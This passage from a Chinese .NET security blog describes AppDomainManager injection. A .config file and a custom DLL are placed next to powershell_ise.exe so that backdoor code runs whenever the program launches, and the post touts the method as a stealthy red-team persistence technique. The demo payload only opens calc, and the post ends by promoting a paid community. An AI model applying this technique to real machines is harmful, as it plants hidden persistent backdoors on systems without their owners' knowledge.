<configuration>
  <runtime>
    <appDomainManagerAssembly>AssemblyName</appDomainManagerAssembly>
  </runtime>
</configuration>

 
<runtime>
        <appDomainManagerAssembly value="Sharp4AppDomainManagerDLL" />
</runtime>

 
<configuration>
  <runtime>
    <appDomainManagerType>Namespace.CustomAppDomainManager</appDomainManagerType>
  </runtime>
</configuration>

 
using System;

namespace MyNamespace
{
    public class CustomAppDomainManager : AppDomainManager
    {
        public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
        {
            base.InitializeNewDomain(appDomainInfo);
            Console.WriteLine("Custom AppDomainManager initialized.");
        }
    }
}

实战中以  powershell_ise.exe 为例，在同级目录新建.config文件，然后添加如下配置。

 
<?xml version="1.0" encoding="utf-8" ?> 
<configuration> 
    <runtime>
        <appDomainManagerType value="AppDomainManagerDLL.Sharp4AppDomainManagerDLL" />
      <appDomainManagerAssembly value="Sharp4AppDomainManagerDLL" />
    </runtime>
</configuration>

接着，Sharp4AppDomainManagerDLL文件复制到同级目录中，再向 cmd2base64.txt 注入载荷，内容为 Y2FsYw==，对应 calc 的 Base64 编码。

当运行 powershell_ise.exe ，会触发自定义 AppDomainManager 加载并执行后门逻辑，相关星球主题如下所示。

综上，通过 .NET 的自定义应用程序域管理功能，攻击者可以利用目标系统中的 .NET 可执行程序轻松实现后门注入和命令执行。本文所述方法不仅技术门槛低，而且具有高度隐蔽性。在红队活动中，此方法为权限维持提供了一种高效而隐蔽的手段，同时也提醒安全团队加强对 .config 文件的监控与防护，文章涉及的工具已打包在星球，感兴趣的朋友可以加入自取。

从漏洞分析到安全攻防，我们涵盖了 .NET 安全各个关键方面，为您呈现最新、最全面的 .NET 安全知识，下面是公众号发布的精华文章集合，推荐大伙阅读！

星球汇聚了各行业安全攻防技术大咖，并且每日分享.NET安全技术干货以及交流解答各类技术等问题，社区中发布很多高质量的.NET安全资源，可以说市面上很少见，都是干货。

dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术，定位于高质量安全攻防星球社区，也得到了许多师傅们的支持和信任，通过星球深度连接入圈的师傅们，一起推动.NET安全高质量的向前发展。星球门票后期价格随着内容和质量的不断沉淀会适当提高，因此越早加入越好！